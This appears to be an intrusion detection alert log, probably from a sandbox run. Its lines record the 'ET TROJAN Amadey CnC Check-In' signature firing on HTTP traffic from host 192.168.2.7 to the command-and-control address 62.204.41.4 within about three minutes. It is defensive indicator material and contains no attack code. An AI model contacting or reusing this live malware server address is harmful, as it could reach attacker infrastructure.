192.168.2.762.204.41.450476802027700 02/07/23-23:10:29.753559	TCP	2027700	ET TROJAN Amadey CnC Check-In	50476	80	192.168.2.7	62.204.41.4
192.168.2.762.204.41.450320802027700 02/07/23-23:09:49.746312	TCP	2027700	ET TROJAN Amadey CnC Check-In	50320	80	192.168.2.7	62.204.41.4
192.168.2.762.204.41.449786802027700 02/07/23-23:07:25.415635	TCP	2027700	ET TROJAN Amadey CnC Check-In	49786	80	192.168.2.7	62.204.41.4
192.168.2.762.204.41.450448802027700 02/07/23-23:10:22.892315	TCP	2027700	ET TROJAN Amadey CnC Check-In	50448	80	192.168.2.7	62.204.41.4
192.168.2.762.204.41.450053802027700 02/07/23-23:08:39.384369	TCP	2027700	ET TROJAN Amadey CnC Check-In	50053	80	192.168.2.7	62.204.41.4
192.168.2.762.204.41.449829802027700 02/07/23-23:07:35.738938	TCP	2027700	ET TROJAN Amadey CnC Check-In	49829	80	192.168.2.7	62.204.41.4
192.168.2.762.204.41.450219802027700 02/07/23-23:09:22.722186	TCP	2027700	ET TROJAN Amadey CnC Check-In	50219	80	192.168.2.7	62.204.41.4
192.168.2.762.204.41.450071802027700 02/07/23-23:08:43.808188	TCP	2027700	ET TROJAN Amadey CnC Check-In	50071	80	192.168.2.7	62.204.41.4
192.168.2.762.204.41.449930802027700 02/07/23-23:08:05.022671	TCP	2027700	ET TROJAN Amadey CnC Check-In	49930	80	192.168.2.7	62.204.41.4
192.168.2.762.204.41.450148802027700 02/07/23-23:09:03.260796	TCP	2027700	ET TROJAN Amadey CnC Check-In	50148	80	192.168.2.7	62.204.41.4
192.168.2.762.204.41.450025802027700 02/07/23-23:08:30.727717	TCP	2027700	ET TROJAN Amadey CnC Check-In	50025	80	192.168.2.7	62.204.41.4
192.168.2.762.204.41.450221802027700 02/07/23-23:09:23.231201	TCP	2027700	ET TROJAN Amadey CnC Check-In	50221	80	192.168.2.7	62.204.41.4
192.168.2.762.204.41.449885802027700 02/07/23-23:07:51.097832	TCP	2027700	ET TROJAN Amadey CnC Check-In	49885	80	192.168.2.7	62.204.41.4
192.168.2.762.204.41.450043802027700 02/07/23-23:08:36.948526	TCP	2027700	ET TROJAN Amadey CnC Check-In	50043	80	192.168.2.7	62.204.41.4
192.168.2.762.204.41.449857802027700 02/07/23-23:07:44.177016	TCP	2027700	ET TROJAN Amadey CnC Check-In	49857	80	192.168.2.7	62.204.41.4
192.168.2.762.204.41.449987802027700 02/07/23-23:08:21.404063	TCP	2027700	ET TROJAN Amadey CnC Check-In	49987	80	192.168.2.7	62.204.41.4
192.168.2.762.204.41.450453802027700 02/07/23-23:10:24.103441	TCP	2027700	ET TROJAN Amadey CnC Check-In	50453	80	192.168.2.7	62.204.41.4
192.168.2.762.204.41.450101802027700 02/07/23-23:08:51.475051	TCP	2027700	ET TROJAN Amadey CnC Check-In	50101	80	192.168.2.7	62.204.41.4
192.168.2.762.204.41.449831802027700 02/07/23-23:07:36.211398	TCP	2027700	ET TROJAN Amadey CnC Check-In	49831	80	192.168.2.7	62.204.41.4
192.168.2.762.204.41.449834802027700 02/07/23-23:07:37.138339	TCP	2027700	ET TROJAN Amadey CnC Check-In	49834	80	192.168.2.7	62.204.41.4
192.168.2.762.204.41.450450802027700 02/07/23-23:10:23.361477	TCP	2027700	ET TROJAN Amadey CnC Check-In	50450	80	192.168.2.7	62.204.41.4
192.168.2.762.204.41.450015802027700 02/07/23-23:08:28.258645	TCP	2027700	ET TROJAN Amadey CnC Check-In	50015	80	192.168.2.7	62.204.41.4
192.168.2.762.204.41.449923802027700 02/07/23-23:08:03.274770	TCP	2027700	ET TROJAN Amadey CnC Check-In	49923	80	192.168.2.7	62.204.41.4
192.168.2.762.204.41.450272802027700 02/07/23-23:09:37.970566	TCP	2027700	ET TROJAN Amadey CnC Check-In	50272	80	192.168.2.7	62.204.41.4
192.168.2.762.204.41.450349802027700 02/07/23-23:09:56.920228	TCP	2027700	ET TROJAN Amadey CnC Check-In	50349	80	192.168.2.7	62.204.41.4
192.168.2.762.204.41.450183802027700 02/07/23-23:09:13.886211	TCP	2027700	ET TROJAN Amadey CnC Check-In	50183	80	192.168.2.7	62.204.41.4
192.168.2.762.204.41.449803802027700 02/07/23-23:07:29.455829	TCP	2027700	ET TROJAN Amadey CnC Check-In	49803	80	192.168.2.7	62.204.41.4
192.168.2.762.204.41.450275802027700 02/07/23-23:09:38.709285	TCP	2027700	ET TROJAN Amadey CnC Check-In	50275	80	192.168.2.7	62.204.41.4
192.168.2.762.204.41.449758802027700 02/07/23-23:07:16.813665	TCP	2027700	ET TROJAN Amadey CnC Check-In	49758	80	192.168.2.7	62.204.41.4
192.168.2.762.204.41.450377802027700 02/07/23-23:10:03.701999	TCP	2027700	ET TROJAN Amadey CnC Check-In	50377	80	192.168.2.7	62.204.41.4
192.168.2.762.204.41.449977802027700 02/07/23-23:08:18.914835	TCP	2027700	ET TROJAN Amadey CnC Check-In	49977	80	192.168.2.7	62.204.41.4
192.168.2.762.204.41.450028802027700 02/07/23-23:08:31.449239	TCP	2027700	ET TROJAN Amadey CnC Check-In	50028	80	192.168.2.7	62.204.41.4
192.168.2.762.204.41.450117802027700 02/07/23-23:08:55.559827	TCP	2027700	ET TROJAN Amadey CnC Check-In	50117	80	192.168.2.7	62.204.41.4
192.168.2.762.204.41.450247802027700 02/07/23-23:09:31.810490	TCP	2027700	ET TROJAN Amadey CnC Check-In	50247	80	192.168.2.7	62.204.41.4
192.168.2.762.204.41.450425802027700 02/07/23-23:10:15.374875	TCP	2027700	ET TROJAN Amadey CnC Check-In	50425	80	192.168.2.7	62.204.41.4
192.168.2.762.204.41.449806802027700 02/07/23-23:07:30.176072	TCP	2027700	ET TROJAN Amadey CnC Check-In	49806	80	192.168.2.7	62.204.41.4
192.168.2.762.204.41.449888802027700 02/07/23-23:07:51.818185	TCP	2027700	ET TROJAN Amadey CnC Check-In	49888	80	192.168.2.7	62.204.41.4
192.168.2.762.204.41.449694802027700 02/07/23-23:07:00.567051	TCP	2027700	ET TROJAN Amadey CnC Check-In	49694	80	192.168.2.7	62.204.41.4
192.168.2.762.204.41.449949802027700 02/07/23-23:08:09.663718	TCP	2027700	ET TROJAN Amadey CnC Check-In	49949	80	192.168.2.7	62.204.41.4
192.168.2.762.204.41.450081802027700 02/07/23-23:08:46.318733	TCP	2027700	ET TROJAN Amadey CnC Check-In	50081	80	192.168.2.7	62.204.41.4
192.168.2.762.204.41.449783802027700 02/07/23-23:07:24.676198	TCP	2027700	ET TROJAN Amadey CnC Check-In	49783	80	192.168.2.7	62.204.41.4
192.168.2.762.204.41.450199802027700 02/07/23-23:09:17.854664	TCP	2027700	ET TROJAN Amadey CnC Check-In	50199	80	192.168.2.7	62.204.41.4
192.168.2.762.204.41.450314802027700 02/07/23-23:09:48.299454	TCP	2027700	ET TROJAN Amadey CnC Check-In	50314	80	192.168.2.7	62.204.41.4
192.168.2.762.204.41.449924802027700 02/07/23-23:08:03.524088	TCP	2027700	ET TROJAN Amadey CnC Check-In	49924	80	192.168.2.7	62.204.41.4
192.168.2.762.204.41.450252802027700 02/07/23-23:09:32.997462	TCP	2027700	ET TROJAN Amadey CnC Check-In	50252	80	192.168.2.7	62.204.41.4
192.168.2.762.204.41.450350802027700 02/07/23-23:09:57.159011	TCP	2027700	ET TROJAN Amadey CnC Check-In	50350	80	192.168.2.7	62.204.41.4
192.168.2.762.204.41.449789802027700 02/07/23-23:07:26.125135	TCP	2027700	ET TROJAN Amadey CnC Check-In	49789	80	192.168.2.7	62.204.41.4
192.168.2.762.204.41.449887802027700 02/07/23-23:07:51.576053	TCP	2027700	ET TROJAN Amadey CnC Check-In	49887	80	192.168.2.7	62.204.41.4
192.168.2.762.204.41.450347802027700 02/07/23-23:09:56.442076	TCP	2027700	ET TROJAN Amadey CnC Check-In	50347	80	192.168.2.7	62.204.41.4
192.168.2.762.204.41.450445802027700 02/07/23-23:10:22.165070	TCP	2027700	ET TROJAN Amadey CnC Check-In	50445	80	192.168.2.7	62.204.41.4
192.168.2.762.204.41.449980802027700 02/07/23-23:08:19.678959	TCP	2027700	ET TROJAN Amadey CnC Check-In	49980	80	192.168.2.7	62.204.41.4
192.168.2.762.204.41.450409802027700 02/07/23-23:10:11.502083	TCP	2027700	ET TROJAN Amadey CnC Check-In	50409	80	192.168.2.7	62.204.41.4
192.168.2.762.204.41.450089802027700 02/07/23-23:08:48.291498	TCP	2027700	ET TROJAN Amadey CnC Check-In	50089	80	192.168.2.7	62.204.41.4
192.168.2.762.204.41.450244802027700 02/07/23-23:09:31.095485	TCP	2027700	ET TROJAN Amadey CnC Check-In	50244	80	192.168.2.7	62.204.41.4
192.168.2.762.204.41.449957802027700 02/07/23-23:08:11.632559	TCP	2027700	ET TROJAN Amadey CnC Check-In	49957	80	192.168.2.7	62.204.41.4
192.168.2.762.204.41.449703802027700 02/07/23-23:07:03.736813	TCP	2027700	ET TROJAN Amadey CnC Check-In	49703	80	192.168.2.7	62.204.41.4
192.168.2.762.204.41.450031802027700 02/07/23-23:08:32.148800	TCP	2027700	ET TROJAN Amadey CnC Check-In	50031	80	192.168.2.7	62.204.41.4
192.168.2.762.204.41.449862802027700 02/07/23-23:07:45.411368	TCP	2027700	ET TROJAN Amadey CnC Check-In	49862	80	192.168.2.7	62.204.41.4
192.168.2.762.204.41.450440802027700 02/07/23-23:10:20.951914	TCP	2027700	ET TROJAN Amadey CnC Check-In	50440	80	192.168.2.7	62.204.41.4
192.168.2.762.204.41.449792802027700 02/07/23-23:07:26.828357	TCP	2027700	ET TROJAN Amadey CnC Check-In	49792	80	192.168.2.7	62.204.41.4
192.168.2.762.204.41.450179802027700 02/07/23-23:09:12.913891	TCP	2027700	ET TROJAN Amadey CnC Check-In	50179	80	192.168.2.7	62.204.41.4
192.168.2.762.204.41.450084802027700 02/07/23-23:08:47.056885	TCP	2027700	ET TROJAN Amadey CnC Check-In	50084	80	192.168.2.7	62.204.41.4
192.168.2.762.204.41.450126802027700 02/07/23-23:08:57.855567	TCP	2027700	ET TROJAN Amadey CnC Check-In	50126	80	192.168.2.7	62.204.41.4
192.168.2.762.204.41.449756802027700 02/07/23-23:07:16.330637	TCP	2027700	ET TROJAN Amadey CnC Check-In	49756	80	192.168.2.7	62.204.41.4
192.168.2.762.204.41.449993802027700 02/07/23-23:08:22.893784	TCP	2027700	ET TROJAN Amadey CnC Check-In	49993	80	192.168.2.7	62.204.41.4
192.168.2.762.204.41.450159802027700 02/07/23-23:09:05.933299	TCP	2027700	ET TROJAN Amadey CnC Check-In	50159	80	192.168.2.7	62.204.41.4
192.168.2.762.204.41.450076802027700 02/07/23-23:08:45.054389	TCP	2027700	ET TROJAN Amadey CnC Check-In	50076	80	192.168.2.7	62.204.41.4
192.168.2.762.204.41.450257802027700 02/07/23-23:09:34.266479	TCP	2027700	ET TROJAN Amadey CnC Check-In	50257	80	192.168.2.7	62.204.41.4
192.168.2.762.204.41.450232802027700 02/07/23-23:09:25.965511	TCP	2027700	ET TROJAN Amadey CnC Check-In	50232	80	192.168.2.7	62.204.41.4
192.168.2.762.204.41.450113802027700 02/07/23-23:08:54.584710	TCP	2027700	ET TROJAN Amadey CnC Check-In	50113	80	192.168.2.7	62.204.41.4
192.168.2.762.204.41.450367802027700 02/07/23-23:10:01.324979	TCP	2027700	ET TROJAN Amadey CnC Check-In	50367	80	192.168.2.7	62.204.41.4
192.168.2.762.204.41.450465802027700 02/07/23-23:10:27.020474	TCP	2027700	ET TROJAN Amadey CnC Check-In	50465	80	192.168.2.7	62.204.41.4
192.168.2.762.204.41.450195802027700 02/07/23-23:09:16.860331	TCP	2027700	ET TROJAN Amadey CnC Check-In	50195	80	192.168.2.7	62.204.41.4
192.168.2.762.204.41.449867802027700 02/07/23-23:07:46.640725	TCP	2027700	ET TROJAN Amadey CnC Check-In	49867	80	192.168.2.7	62.204.41.4
192.168.2.762.204.41.449818802027700 02/07/23-23:07:33.042482	TCP	2027700	ET TROJAN Amadey CnC Check-In	49818	80	192.168.2.7	62.204.41.4
192.168.2.762.204.41.450330802027700 02/07/23-23:09:52.266544	TCP	2027700	ET TROJAN Amadey CnC Check-In	50330	80	192.168.2.7	62.204.41.4
192.168.2.762.204.41.449960802027700 02/07/23-23:08:12.428217	TCP	2027700	ET TROJAN Amadey CnC Check-In	49960	80	192.168.2.7	62.204.41.4
192.168.2.762.204.41.450146802027700 02/07/23-23:09:02.779773	TCP	2027700	ET TROJAN Amadey CnC Check-In	50146	80	192.168.2.7	62.204.41.4
192.168.2.762.204.41.450359802027700 02/07/23-23:09:59.354061	TCP	2027700	ET TROJAN Amadey CnC Check-In	50359	80	192.168.2.7	62.204.41.4
192.168.2.762.204.41.449776802027700 02/07/23-23:07:23.001075	TCP	2027700	ET TROJAN Amadey CnC Check-In	49776	80	192.168.2.7	62.204.41.4
192.168.2.762.204.41.450011802027700 02/07/23-23:08:27.300770	TCP	2027700	ET TROJAN Amadey CnC Check-In	50011	80	192.168.2.7	62.204.41.4
192.168.2.762.204.41.450432802027700 02/07/23-23:10:18.991989	TCP	2027700	ET TROJAN Amadey CnC Check-In	50432	80	192.168.2.7	62.204.41.4
192.168.2.762.204.41.449854802027700 02/07/23-23:07:43.442984	TCP	2027700	ET TROJAN Amadey CnC Check-In	49854	80	192.168.2.7	62.204.41.4
192.168.2.762.204.41.450182802027700 02/07/23-23:09:13.649408	TCP	2027700	ET TROJAN Amadey CnC Check-In	50182	80	192.168.2.7	62.204.41.4
192.168.2.762.204.41.450478802027700 02/07/23-23:10:30.234168	TCP	2027700	ET TROJAN Amadey CnC Check-In	50478	80	192.168.2.7	62.204.41.4
192.168.2.762.204.41.449937802027700 02/07/23-23:08:06.728827	TCP	2027700	ET TROJAN Amadey CnC Check-In	49937	80	192.168.2.7	62.204.41.4
192.168.2.762.204.41.450265802027700 02/07/23-23:09:36.236425	TCP	2027700	ET TROJAN Amadey CnC Check-In	50265	80	192.168.2.7	62.204.41.4
192.168.2.762.204.41.449805802027700 02/07/23-23:07:29.940054	TCP	2027700	ET TROJAN Amadey CnC Check-In	49805	80	192.168.2.7	62.204.41.4
192.168.2.762.204.41.449716802027700 02/07/23-23:07:06.915416	TCP	2027700	ET TROJAN Amadey CnC Check-In	49716	80	192.168.2.7	62.204.41.4
192.168.2.762.204.41.450096802027700 02/07/23-23:08:49.987228	TCP	2027700	ET TROJAN Amadey CnC Check-In	50096	80	192.168.2.7	62.204.41.4
192.168.2.762.204.41.450390802027700 02/07/23-23:10:06.856141	TCP	2027700	ET TROJAN Amadey CnC Check-In	50390	80	192.168.2.7	62.204.41.4
192.168.2.762.204.41.450166802027700 02/07/23-23:09:08.121536	TCP	2027700	ET TROJAN Amadey CnC Check-In	50166	80	192.168.2.7	62.204.41.4
192.168.2.762.204.41.449743802027700 02/07/23-23:07:13.457751	TCP	2027700	ET TROJAN Amadey CnC Check-In	49743	80	192.168.2.7	62.204.41.4
192.168.2.762.204.41.450264802027700 02/07/23-23:09:35.995836	TCP	2027700	ET TROJAN Amadey CnC Check-In	50264	80	192.168.2.7	62.204.41.4
192.168.2.762.204.41.450433802027700 02/07/23-23:10:19.240532	TCP	2027700	ET TROJAN Amadey CnC Check-In	50433	80	192.168.2.7	62.204.41.4
192.168.2.762.204.41.450080802027700 02/07/23-23:08:46.056281	TCP	2027700	ET TROJAN Amadey CnC Check-In	50080	80	192.168.2.7	62.204.41.4
192.168.2.762.204.41.450077802027700 02/07/23-23:08:45.296740	TCP	2027700	ET TROJAN Amadey CnC Check-In	50077	80	192.168.2.7	62.204.41.4
192.168.2.762.204.41.450007802027700 02/07/23-23:08:26.308602	TCP	2027700	ET TROJAN Amadey CnC Check-In	50007	80	192.168.2.7	62.204.41.4
192.168.2.762.204.41.449874802027700 02/07/23-23:07:48.380254	TCP	2027700	ET TROJAN Amadey CnC Check-In	49874	80	192.168.2.7	62.204.41.4
192.168.2.762.204.41.450334802027700 02/07/23-23:09:53.217371	TCP	2027700	ET TROJAN Amadey CnC Check-In	50334	80	192.168.2.7	62.204.41.4
192.168.2.762.204.41.450363802027700 02/07/23-23:10:00.334134	TCP	2027700	ET TROJAN Amadey CnC Check-In	50363	80	192.168.2.7	62.204.41.4
192.168.2.762.204.41.450245802027700 02/07/23-23:09:31.338382	TCP	2027700	ET TROJAN Amadey CnC Check-In	50245	80	192.168.2.7	62.204.41.4
192.168.2.762.204.41.450458802027700 02/07/23-23:10:25.313774	TCP	2027700	ET TROJAN Amadey CnC Check-In	50458	80	192.168.2.7	62.204.41.4
192.168.2.762.204.41.449940802027700 02/07/23-23:08:07.464494	TCP	2027700	ET TROJAN Amadey CnC Check-In	49940	80	192.168.2.7	62.204.41.4
192.168.2.762.204.41.449785802027700 02/07/23-23:07:25.161286	TCP	2027700	ET TROJAN Amadey CnC Check-In	49785	80	192.168.2.7	62.204.41.4
192.168.2.762.204.41.450008802027700 02/07/23-23:08:26.555660	TCP	2027700	ET TROJAN Amadey CnC Check-In	50008	80	192.168.2.7	62.204.41.4
192.168.2.762.204.41.450150802027700 02/07/23-23:09:03.798728	TCP	2027700	ET TROJAN Amadey CnC Check-In	50150	80	192.168.2.7	62.204.41.4
192.168.2.762.204.41.450452802027700 02/07/23-23:10:23.844381	TCP	2027700	ET TROJAN Amadey CnC Check-In	50452	80	192.168.2.7	62.204.41.4
192.168.2.762.204.41.449969802027700 02/07/23-23:08:14.885714	TCP	2027700	ET TROJAN Amadey CnC Check-In	49969	80	192.168.2.7	62.204.41.4
192.168.2.762.204.41.450064802027700 02/07/23-23:08:42.089378	TCP	2027700	ET TROJAN Amadey CnC Check-In	50064	80	192.168.2.7	62.204.41.4
192.168.2.762.204.41.450208802027700 02/07/23-23:09:20.046231	TCP	2027700	ET TROJAN Amadey CnC Check-In	50208	80	192.168.2.7	62.204.41.4
192.168.2.762.204.41.450162802027700 02/07/23-23:09:06.685785	TCP	2027700	ET TROJAN Amadey CnC Check-In	50162	80	192.168.2.7	62.204.41.4
192.168.2.762.204.41.450119802027700 02/07/23-23:08:56.055732	TCP	2027700	ET TROJAN Amadey CnC Check-In	50119	80	192.168.2.7	62.204.41.4
192.168.2.762.204.41.449944802027700 02/07/23-23:08:08.460141	TCP	2027700	ET TROJAN Amadey CnC Check-In	49944	80	192.168.2.7	62.204.41.4
192.168.2.762.204.41.449861802027700 02/07/23-23:07:45.159848	TCP	2027700	ET TROJAN Amadey CnC Check-In	49861	80	192.168.2.7	62.204.41.4
192.168.2.762.204.41.450379802027700 02/07/23-23:10:04.185148	TCP	2027700	ET TROJAN Amadey CnC Check-In	50379	80	192.168.2.7	62.204.41.4
192.168.2.762.204.41.449855802027700 02/07/23-23:07:43.680992	TCP	2027700	ET TROJAN Amadey CnC Check-In	49855	80	192.168.2.7	62.204.41.4
192.168.2.762.204.41.449953802027700 02/07/23-23:08:10.664703	TCP	2027700	ET TROJAN Amadey CnC Check-In	49953	80	192.168.2.7	62.204.41.4
192.168.2.762.204.41.449769802027700 02/07/23-23:07:21.212903	TCP	2027700	ET TROJAN Amadey CnC Check-In	49769	80	192.168.2.7	62.204.41.4
192.168.2.762.204.41.449858802027700 02/07/23-23:07:44.420398	TCP	2027700	ET TROJAN Amadey CnC Check-In	49858	80	192.168.2.7	62.204.41.4
192.168.2.762.204.41.450051802027700 02/07/23-23:08:38.908724	TCP	2027700	ET TROJAN Amadey CnC Check-In	50051	80	192.168.2.7	62.204.41.4
192.168.2.762.204.41.450175802027700 02/07/23-23:09:11.950103	TCP	2027700	ET TROJAN Amadey CnC Check-In	50175	80	192.168.2.7	62.204.41.4
192.168.2.762.204.41.450449802027700 02/07/23-23:10:23.123641	TCP	2027700	ET TROJAN Amadey CnC Check-In	50449	80	192.168.2.7	62.204.41.4
192.168.2.762.204.41.449772802027700 02/07/23-23:07:21.956084	TCP	2027700	ET TROJAN Amadey CnC Check-In	49772	80	192.168.2.7	62.204.41.4
192.168.2.762.204.41.449842802027700 02/07/23-23:07:40.535003	TCP	2027700	ET TROJAN Amadey CnC Check-In	49842	80	192.168.2.7	62.204.41.4
192.168.2.762.204.41.449931802027700 02/07/23-23:08:05.263417	TCP	2027700	ET TROJAN Amadey CnC Check-In	49931	80	192.168.2.7	62.204.41.4
192.168.2.762.204.41.450277802027700 02/07/23-23:09:39.183924	TCP	2027700	ET TROJAN Amadey CnC Check-In	50277	80	192.168.2.7	62.204.41.4
192.168.2.762.204.41.450106802027700 02/07/23-23:08:52.814624	TCP	2027700	ET TROJAN Amadey CnC Check-In	50106	80	192.168.2.7	62.204.41.4
192.168.2.762.204.41.450153802027700 02/07/23-23:09:04.508859	TCP	2027700	ET TROJAN Amadey CnC Check-In	50153	80	192.168.2.7	62.204.41.4
192.168.2.762.204.41.450420802027700 02/07/23-23:10:14.158819	TCP	2027700	ET TROJAN Amadey CnC Check-In	50420	80	192.168.2.7	62.204.41.4
192.168.2.762.204.41.449788802027700 02/07/23-23:07:25.894312	TCP	2027700	ET TROJAN Amadey CnC Check-In	49788	80	192.168.2.7	62.204.41.4
192.168.2.762.204.41.449699802027700 02/07/23-23:07:02.789716	TCP	2027700	ET TROJAN Amadey CnC Check-In	49699	80	192.168.2.7	62.204.41.4
192.168.2.762.204.41.449802802027700 02/07/23-23:07:29.225910	TCP	2027700	ET TROJAN Amadey CnC Check-In	49802	80	192.168.2.7	62.204.41.4
192.168.2.762.204.41.450130802027700 02/07/23-23:08:58.812897	TCP	2027700	ET TROJAN Amadey CnC Check-In	50130	80	192.168.2.7	62.204.41.4
192.168.2.762.204.41.450225802027700 02/07/23-23:09:24.183239	TCP	2027700	ET TROJAN Amadey CnC Check-In	50225	80	192.168.2.7	62.204.41.4
192.168.2.762.204.41.450047802027700 02/07/23-23:08:37.932300	TCP	2027700	ET TROJAN Amadey CnC Check-In	50047	80	192.168.2.7	62.204.41.4
192.168.2.762.204.41.450399802027700 02/07/23-23:10:09.045857	TCP	2027700	ET TROJAN Amadey CnC Check-In	50399	80	192.168.2.7	62.204.41.4
192.168.2.762.204.41.450188802027700 02/07/23-23:09:15.102934	TCP	2027700	ET TROJAN Amadey CnC Check-In	50188	80	192.168.2.7	62.204.41.4
192.168.2.762.204.41.449976802027700 02/07/23-23:08:18.678576	TCP	2027700	ET TROJAN Amadey CnC Check-In	49976	80	192.168.2.7	62.204.41.4
192.168.2.762.204.41.450403802027700 02/07/23-23:10:09.998024	TCP	2027700	ET TROJAN Amadey CnC Check-In	50403	80	192.168.2.7	62.204.41.4
192.168.2.762.204.41.450258802027700 02/07/23-23:09:34.513209	TCP	2027700	ET TROJAN Amadey CnC Check-In	50258	80	192.168.2.7	62.204.41.4
192.168.2.762.204.41.449798802027700 02/07/23-23:07:28.267776	TCP	2027700	ET TROJAN Amadey CnC Check-In	49798	80	192.168.2.7	62.204.41.4
192.168.2.762.204.41.449740802027700 02/07/23-23:07:12.735380	TCP	2027700	ET TROJAN Amadey CnC Check-In	49740	80	192.168.2.7	62.204.41.4
192.168.2.762.204.41.449891802027700 02/07/23-23:07:52.534100	TCP	2027700	ET TROJAN Amadey CnC Check-In	49891	80	192.168.2.7	62.204.41.4
192.168.2.762.204.41.450436802027700 02/07/23-23:10:19.971883	TCP	2027700	ET TROJAN Amadey CnC Check-In	50436	80	192.168.2.7	62.204.41.4
192.168.2.762.204.41.449835802027700 02/07/23-23:07:37.902416	TCP	2027700	ET TROJAN Amadey CnC Check-In	49835	80	192.168.2.7	62.204.41.4
192.168.2.762.204.41.449719802027700 02/07/23-23:07:07.624988	TCP	2027700	ET TROJAN Amadey CnC Check-In	49719	80	192.168.2.7	62.204.41.4
192.168.2.762.204.41.450261802027700 02/07/23-23:09:35.263577	TCP	2027700	ET TROJAN Amadey CnC Check-In	50261	80	192.168.2.7	62.204.41.4
192.168.2.762.204.41.450215802027700 02/07/23-23:09:21.772162	TCP	2027700	ET TROJAN Amadey CnC Check-In	50215	80	192.168.2.7	62.204.41.4
192.168.2.762.204.41.450083802027700 02/07/23-23:08:46.810774	TCP	2027700	ET TROJAN Amadey CnC Check-In	50083	80	192.168.2.7	62.204.41.4
192.168.2.762.204.41.449986802027700 02/07/23-23:08:21.156437	TCP	2027700	ET TROJAN Amadey CnC Check-In	49986	80	192.168.2.7	62.204.41.4
192.168.2.762.204.41.450120802027700 02/07/23-23:08:56.307442	TCP	2027700	ET TROJAN Amadey CnC Check-In	50120	80	192.168.2.7	62.204.41.4
192.168.2.762.204.41.449845802027700 02/07/23-23:07:41.253266	TCP	2027700	ET TROJAN Amadey CnC Check-In	49845	80	192.168.2.7	62.204.41.4
192.168.2.762.204.41.450014802027700 02/07/23-23:08:28.008248	TCP	2027700	ET TROJAN Amadey CnC Check-In	50014	80	192.168.2.7	62.204.41.4
192.168.2.762.204.41.449881802027700 02/07/23-23:07:50.123193	TCP	2027700	ET TROJAN Amadey CnC Check-In	49881	80	192.168.2.7	62.204.41.4
192.168.2.762.204.41.450037802027700 02/07/23-23:08:33.640087	TCP	2027700	ET TROJAN Amadey CnC Check-In	50037	80	192.168.2.7	62.204.41.4
192.168.2.762.204.41.450202802027700 02/07/23-23:09:18.573599	TCP	2027700	ET TROJAN Amadey CnC Check-In	50202	80	192.168.2.7	62.204.41.4
192.168.2.762.204.41.450462802027700 02/07/23-23:10:26.316744	TCP	2027700	ET TROJAN Amadey CnC Check-In	50462	80	192.168.2.7	62.204.41.4
192.168.2.762.204.41.450248802027700 02/07/23-23:09:32.043752	TCP	2027700	ET TROJAN Amadey CnC Check-In	50248	80	192.168.2.7	62.204.41.4
192.168.2.762.204.41.450284802027700 02/07/23-23:09:40.912417	TCP	2027700	ET TROJAN Amadey CnC Check-In	50284	80	192.168.2.7	62.204.41.4
192.168.2.762.204.41.449871802027700 02/07/23-23:07:47.646611	TCP	2027700	ET TROJAN Amadey CnC Check-In	49871	80	192.168.2.7	62.204.41.4
192.168.2.762.204.41.450413802027700 02/07/23-23:10:12.452915	TCP	2027700	ET TROJAN Amadey CnC Check-In	50413	80	192.168.2.7	62.204.41.4
192.168.2.762.204.41.450027802027700 02/07/23-23:08:31.210464	TCP	2027700	ET TROJAN Amadey CnC Check-In	50027	80	192.168.2.7	62.204.41.4
192.168.2.762.204.41.450321802027700 02/07/23-23:09:50.021531	TCP	2027700	ET TROJAN Amadey CnC Check-In	50321	80	192.168.2.7	62.204.41.4
192.168.2.762.204.41.450198802027700 02/07/23-23:09:17.611552	TCP	2027700	ET TROJAN Amadey CnC Check-In	50198	80	192.168.2.7	62.204.41.4
192.168.2.762.204.41.450376802027700 02/07/23-23:10:03.465876	TCP	2027700	ET TROJAN Amadey CnC Check-In	50376	80	192.168.2.7	62.204.41.4
192.168.2.762.204.41.450024802027700 02/07/23-23:08:30.495661	TCP	2027700	ET TROJAN Amadey CnC Check-In	50024	80	192.168.2.7	62.204.41.4
192.168.2.762.204.41.450205802027700 02/07/23-23:09:19.325527	TCP	2027700	ET TROJAN Amadey CnC Check-In	50205	80	192.168.2.7	62.204.41.4
192.168.2.762.204.41.450057802027700 02/07/23-23:08:40.336371	TCP	2027700	ET TROJAN Amadey CnC Check-In	50057	80	192.168.2.7	62.204.41.4
192.168.2.762.204.41.449729802027700 02/07/23-23:07:10.061030	TCP	2027700	ET TROJAN Amadey CnC Check-In	49729	80	192.168.2.7	62.204.41.4
192.168.2.762.204.41.449907802027700 02/07/23-23:07:59.344645	TCP	2027700	ET TROJAN Amadey CnC Check-In	49907	80	192.168.2.7	62.204.41.4
192.168.2.762.204.41.450235802027700 02/07/23-23:09:27.132915	TCP	2027700	ET TROJAN Amadey CnC Check-In	50235	80	192.168.2.7	62.204.41.4
192.168.2.762.204.41.449989802027700 02/07/23-23:08:21.900932	TCP	2027700	ET TROJAN Amadey CnC Check-In	49989	80	192.168.2.7	62.204.41.4
192.168.2.762.204.41.449848802027700 02/07/23-23:07:41.988753	TCP	2027700	ET TROJAN Amadey CnC Check-In	49848	80	192.168.2.7	62.204.41.4
192.168.2.762.204.41.450426802027700 02/07/23-23:10:15.811820	TCP	2027700	ET TROJAN Amadey CnC Check-In	50426	80	192.168.2.7	62.204.41.4
192.168.2.762.204.41.450271802027700 02/07/23-23:09:37.717475	TCP	2027700	ET TROJAN Amadey CnC Check-In	50271	80	192.168.2.7	62.204.41.4
192.168.2.762.204.41.450100802027700 02/07/23-23:08:51.207785	TCP	2027700	ET TROJAN Amadey CnC Check-In	50100	80	192.168.2.7	62.204.41.4
192.168.2.762.204.41.450093802027700 02/07/23-23:08:49.276435	TCP	2027700	ET TROJAN Amadey CnC Check-In	50093	80	192.168.2.7	62.204.41.4
192.168.2.762.204.41.450129802027700 02/07/23-23:08:58.570310	TCP	2027700	ET TROJAN Amadey CnC Check-In	50129	80	192.168.2.7	62.204.41.4
192.168.2.762.204.41.449730802027700 02/07/23-23:07:10.313178	TCP	2027700	ET TROJAN Amadey CnC Check-In	49730	80	192.168.2.7	62.204.41.4
192.168.2.762.204.41.450307802027700 02/07/23-23:09:46.569596	TCP	2027700	ET TROJAN Amadey CnC Check-In	50307	80	192.168.2.7	62.204.41.4
192.168.2.762.204.41.450389802027700 02/07/23-23:10:06.609151	TCP	2027700	ET TROJAN Amadey CnC Check-In	50389	80	192.168.2.7	62.204.41.4
192.168.2.762.204.41.450139802027700 02/07/23-23:09:01.006926	TCP	2027700	ET TROJAN Amadey CnC Check-In	50139	80	192.168.2.7	62.204.41.4
192.168.2.762.204.41.450228802027700 02/07/23-23:09:24.958282	TCP	2027700	ET TROJAN Amadey CnC Check-In	50228	80	192.168.2.7	62.204.41.4
192.168.2.762.204.41.449710802027700 02/07/23-23:07:05.446086	TCP	2027700	ET TROJAN Amadey CnC Check-In	49710	80	192.168.2.7	62.204.41.4
